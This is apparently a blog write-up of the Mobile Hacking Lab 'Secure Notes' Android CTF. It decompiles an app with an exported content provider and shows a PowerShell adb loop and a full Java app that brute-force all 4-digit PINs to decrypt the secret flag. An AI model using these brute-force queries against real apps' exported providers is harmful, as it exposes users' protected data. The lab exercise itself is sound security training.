← Back to list

Mobile Hacking Lab Secure Notes

Introduction

Mehmet Faris Acar · 2025-01-20 16:48 · 160 claps · 9.2 min read
#mobilehackinglab #mobile-hacking #android-pentest #mobile-pentest #ctf-writeup
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

Mobile Hacking Lab Secure Notes

Introduction

Welcome to the Secure Notes Challenge! This lab immerses you in the intricacies of Android content providers, challenging you to crack a PIN code protected by a content provider within an Android application. It’s an excellent opportunity to explore Android’s data management and security features.

First, I would like to briefly explain what a Content Provider is:

A Content Provider is a component in Android that facilitates data sharing between applications. An application can use a Content Provider to expose its own data (such as a database or file) to other applications. It also enables secure and controlled access to data in other applications.

When we open the application, there is a field provided to enter a PIN. Let’s try an example:

When I enter 1337 as the PIN, it returns “[ERROR: Incorrect PIN]”.

Let’s start analyzing the application using JADX.

As usual, I start by examining the AndroidManifest.xml file:

android:name="com.mobilehackinglab.securenotes.SecretDataProvider"

It specifies the class name of the provider. This class acts as an intermediary for data sharing or storage operations. In this case, the name is SecretDataProvider.

android:enabled="true"

It indicates whether this provider is active. Since it is set to true, this provider is available for use.

android:exported="true"

It specifies whether the provider is accessible externally. Since it is set to true, other applications can access this provider. This is significant for security, as it allows other applications to potentially exploit the provider.

android:authorities="com.mobilehackinglab.securenotes.secretprovider"

A unique identifier that defines the provider. Other applications can use this identifier to request access to the provider.

This provider can supply data outside the application and is accessible by other applications. This may lead to potential security vulnerabilities, as other applications could access critical data if additional protection measures are not in place.

android:name="com.mobilehackinglab.securenotes.MainActivity"

The class name of this activity is specified as MainActivity. It represents the main screen or entry point of the application.

android:exported="true"

Is this activity accessible externally? Since it is set to true, other applications or system components can launch this activity. This is a security concern that should be carefully considered.

We have reviewed the AndroidManifest.xml file and gathered important information about the application.

Now, let’s analyze the application’s source code.

First, I am examining the MainActivity class:

activityMainBinding.submitPinButton.setOnClickListener(new View.OnClickListener() { // from class: com.mobilehackinglab.securenotes.MainActivity$$ExternalSyntheticLambda0

            @Override // android.view.View.OnClickListener

            public final void onClick(View view) {

                MainActivity.onCreate$lambda$0(MainActivity.this, view);

            }

        });

This code defines an OnClickListener that will execute when the user clicks a button. The click event is directed to a specific function named onCreate$lambda$0.

String enteredPin = activityMainBinding.pinEditText.getText().toString();

The value entered by the user in the PIN input field is retrieved and assigned to the enteredPin variable.

this$0.querySecretProvider(enteredPin);

The PIN entered by the user is passed to the querySecretProvider method. This method performs an operation based on the provided PIN.

Let’s take a closer look at the querySecretProvider() method:

java.lang.String r0 = "content://com.mobilehackinglab.securenotes.secretprovider"
android.net.Uri r0 = android.net.Uri.parse(r0)
content://com.mobilehackinglab.securenotes.secretprovider

This is the URI used to access the application’s content provider.

The URI is used to initiate a query.

java.lang.StringBuilder r1 = new java.lang.StringBuilder
java.lang.String r2 = "pin="
java.lang.StringBuilder r1 = r1.append(r2)
java.lang.StringBuilder r1 = r1.append(r9)
java.lang.String r7 = r1.toString()

The PIN entered by the user (r9) is combined with the pin= keyword to create a query string. Example: pin=1337.

android.content.ContentResolver r1 = r8.getContentResolver()
android.database.Cursor r1 = r1.query(r0, null, r7, null, null)
getContentResolver().query()

A query is sent to the Content Provider.

r0: The URI of the provider.

r7: The query string containing the PIN.

if (r1 != null && r1.moveToFirst()) {
    int columnIndex = r1.getColumnIndex("Secret");
    if (columnIndex != -1) {
        String secret = r1.getString(columnIndex);
    }
}

The query returns a Cursor.

moveToFirst()

The first record of the returned results is accessed.

getColumnIndex("Secret")

It checks whether a column named “Secret” exists.

r1.getString(columnIndex)

The data in the “Secret” column is retrieved.

if (result == null) {
    result = "[ERROR: Incorrect PIN]";
}

If no result is found (result == null), an error message “[ERROR: Incorrect PIN]” is assigned.

binding.resultTextView.setText(result);

The result (correct data or error message) is displayed on the screen in a TextView.

if (r1 != null) {
    r1.close();
}

If the Cursor is still open, it is closed to prevent resource leaks.

In conclusion, the querySecretProvider method sends the user’s entered PIN as a query to the provider and performs the following actions:

If the PIN is correct, it retrieves the secret information from the “Secret” column and displays it on the screen.

If the PIN is incorrect, it displays an error message.

Now, let’s take a look at the SecretDataProvider class:

The code opens the config.properties file located in the application’s assets folder. If the file cannot be found or an error occurs, the operation fails. If the file is found, the code reads its data.

Let’s take a look at the config.properties file in the assets folder:

encryptedSecret: The encrypted data that needs to be decrypted.

salt: A random value used for the password derivation process.

iv (Initialization Vector): The initialization vector used in the encryption algorithm.

iterationCount: The number that specifies how many times the algorithm will be run during the decryption process.

The code decodes the Base64-encoded data in config.properties and stores it in memory.

encryptedSecret is converted into a byte array (byte[]) that will be used for decryption.

The same process is applied to salt and iv.

iterationCount is converted into an integer.

Let’s examine the query() method:

if (selection == null || !StringsKt.startsWith$default(selection, "pin=", false, 2, (Object) null)) {
    return null;
}

selection: It is usually a query string. For example: “pin=1337”.

The code checks if the query starts with “pin=”. If it doesn’t, or if selection is null, it returns null (indicating a failed query).

String removePrefix = StringsKt.removePrefix(selection, (CharSequence) "pin=");

The “pin=” part is removed from the query, and only the PIN value is extracted.

For example, if the query is “pin=1337”, the PIN value “1337” is extracted.

String format = String.format("%04d", Arrays.copyOf(new Object[]{Integer.valueOf(Integer.parseInt(removePrefix))}, 1));
Integer.parseInt(removePrefix)

The PIN is converted into an integer.

Then, the PIN is formatted to ensure it is 4 digits long (%04d format).

For example:

If the PIN is given as “1”, it becomes “0001”.

If the PIN is given as “12”, it becomes “0012”.

m130constructorimpl = Result.m130constructorimpl(this.decryptSecret(format));

The decryptSecret method is called, using the PIN entered by the user to decrypt the secret data called Secret.

If the decryption process fails, an error is caught:

m130constructorimpl = Result.m130constructorimpl(ResultKt.createFailure(th));

If an error occurs, the result is considered null.

if (Result.m136isFailureimpl(m130constructorimpl)) {
    m130constructorimpl = null;
}
String secret = (String) m130constructorimpl;

If the decryption process fails (i.e., m130constructorimpl contains an error), the result is set to null.

If the decryption is successful, the decrypted secret information is assigned to the secret variable.

MatrixCursor $this$query_u24lambda_u243_u24lambda_u242 = new MatrixCursor(new String[]{"Secret"});
$this$query_u24lambda_u243_u24lambda_u242.addRow(new String[]{secret});
matrixCursor = $this$query_u24lambda_u243_u24lambda_u242;

If the decryption process is successful:

A MatrixCursor object is created. This object contains the query results.

The decrypted secret is added as a row in the “Secret” column.

This Cursor object is returned.

catch (NumberFormatException e) {
    return null;
}

If the PIN is not in a numerical format (i.e., a NumberFormatException is thrown), null is returned.

This code contains methods that define basic CRUD (Create, Read, Update, Delete) operations in a ContentProvider class, but these methods return null.

Let’s continue examining the other methods.

Let’s take a deeper look at the decryptSecret() method.

Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");

This code uses the AES algorithm in CBC (Cipher Block Chaining) mode.

PKCS5Padding fills the remaining blocks during encryption to ensure the data is a multiple of the block size.

SecretKeySpec secretKeySpec = new SecretKeySpec(generateKeyFromPin(pin), "AES");
generateKeyFromPin(pin)

It uses the PIN entered by the user to generate an AES key.

This key will be used for decryption.

byte[] bArr = this.iv;
if (bArr == null) {
    Intrinsics.throwUninitializedPropertyAccessException("iv");
    bArr = null;
}
IvParameterSpec ivParameterSpec = new IvParameterSpec(bArr);

IV (Initialization Vector) is required for decryption in CBC mode.

The code assumes that the IV has been previously loaded into memory. If it hasn’t been loaded, an error is thrown.

cipher.init(2, secretKeySpec, ivParameterSpec);

2 represents the decryption mode (DECRYPT_MODE).

The key (secretKeySpec) and IV (ivParameterSpec) are set up for the decryption process.

byte[] bArr2 = this.encryptedSecret;
if (bArr2 == null) {
    Intrinsics.throwUninitializedPropertyAccessException("encryptedSecret");
    bArr2 = null;
}

encryptedSecret is the encrypted secret data. If this data is null, an error is thrown.

byte[] decryptedBytes = cipher.doFinal(bArr2);
Intrinsics.checkNotNull(decryptedBytes);

cipher.doFinal() decrypts the encrypted data and returns it as a byte array.

return new String(decryptedBytes, Charsets.UTF_8);

The decrypted bytes are converted into a String in UTF-8 format and returned.

catch (Exception e) {
    return null;
}

If any error occurs, the function returns null.

Finally, let’s examine the generateKeyFromPin() method:

char[] charArray = pin.toCharArray();

The PIN entered by the user is converted into a char[] (character array). This is necessary for use in the PBKDF2 algorithm.

byte[] bArr = this.salt;
if (bArr == null) {
    Intrinsics.throwUninitializedPropertyAccessException("salt");
    bArr = null;
}

If the salt value has not been loaded into memory, an error is thrown.

This value enhances the security of the PBKDF2 algorithm by ensuring that the same PIN generates different keys with different salt values.

PBEKeySpec keySpec = new PBEKeySpec(charArray, bArr, this.iterationCount, 256);

PBEKeySpec defines the necessary parameters for the PBKDF2 algorithm.

SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
byte[] encoded = keyFactory.generateSecret(keySpec).getEncoded();

A key is derived using the PBKDF2WithHmacSHA1 algorithm.

The user’s PIN and the salt value are processed for the specified number of iterations, and a byte array of the specified length (256-bit) is generated.

return encoded;

The generated 256-bit AES key (in byte[] format) is returned.

We have thoroughly examined the source code. Now, it’s time for the exploit phase:

 for ($i = 0; $i -le 9999; $i++) {
>>     $pin = $i.ToString("D4")
>>     Write-Host -NoNewline "$pin "
>>     adb shell content query --uri content://com.mobilehackinglab.securenotes.secretprovider --where "pin=$pin"
>> }

This PowerShell script performs a brute-force attack to try all 4-digit PINs between 0000 and 9999.

For each PIN, the following command is executed:

adb shell content query --uri content://com.mobilehackinglab.securenotes.secretprovider --where "pin=$pin"

This command sends a query with the PIN to the specified URI (content://com.mobilehackinglab.securenotes.secretprovider).

When the PIN is 2580, we obtained the flag.

Let’s try to obtain the flag with a different scenario:

In the AndroidManifest.xml file, it was marked as exported:true. We explained that marking it as true means it is accessible externally.

Now, let’s create a simple Android application in Java to retrieve the flag:

package com.mfa.securenotes;

import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import androidx.appcompat.app.AppCompatActivity;
import java.util.Locale;

public class MainActivity extends AppCompatActivity {
    private static final String TAG = "PinTester";
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Uri uri = Uri.parse("content://com.mobilehackinglab.securenotes.secretprovider");
        bruteForcePin(uri);
    }
    private void bruteForcePin(Uri uri) {
        for (int i = 0; i < 10000; i++) {
            String pin = String.format(Locale.US, "%04d", i);
            String selection = "pin=" + pin;
            try (Cursor cursor = getContentResolver().query(uri, null, selection, null, null)) {
                if (cursor != null && cursor.moveToFirst()) {
                    // "Secret" sütununu bul ve değerini al
                    int index = cursor.getColumnIndex("Secret");
                    if (index != -1) {
                        String secret = cursor.getString(index);

                        // Eğer "Secret" verisi "CTF{" ile başlıyorsa logla
                        if (secret.startsWith("CTF{")) {
                            Log.d(TAG, "Found Flag: " + secret + " with PIN: " + pin);
                            // Flag bulunduğu için loga yazıldı ancak döngü devam ediyor
                        } else {
                            Log.d(TAG, "Incorrect Secret: " + secret + " for PIN: " + pin);
                        }
                    }
                }
            } catch (Exception e) {
                Log.e(TAG, "Error querying Content Provider", e);
            }
        }
    }
}

A query is sent to the com.mobilehackinglab.securenotes.secretprovider URI to access the secret information.

All possible PINs from 0000 to 9999 are being tried.

Each PIN is generated in a 4-digit string format (%04d).

The PIN is prepared as a selection string.

The query method is used to query the Content Provider.

If the query result is not empty, the value in the Secret column is read.

If the Secret data starts with “CTF{“, the flag has been found and is logged.

If an error occurs during the query, the error is logged.

By running the Android application and checking the logcat, we find the flag.


메타데이터
post_id
82ef0e89b7bd
slug
mobile-hacking-lab-secure-notes-82ef0e89b7bd
url
https://medium.com/@mehmetfarisacar/mobile-hacking-lab-secure-notes-82ef0e89b7bd
canonical_url
https://medium.com/@mehmetfarisacar/mobile-hacking-lab-secure-notes-82ef0e89b7bd
author_url
https://medium.com/@mehmetfarisacar
status
ok
fetched_at
2026-08-01 21:05:13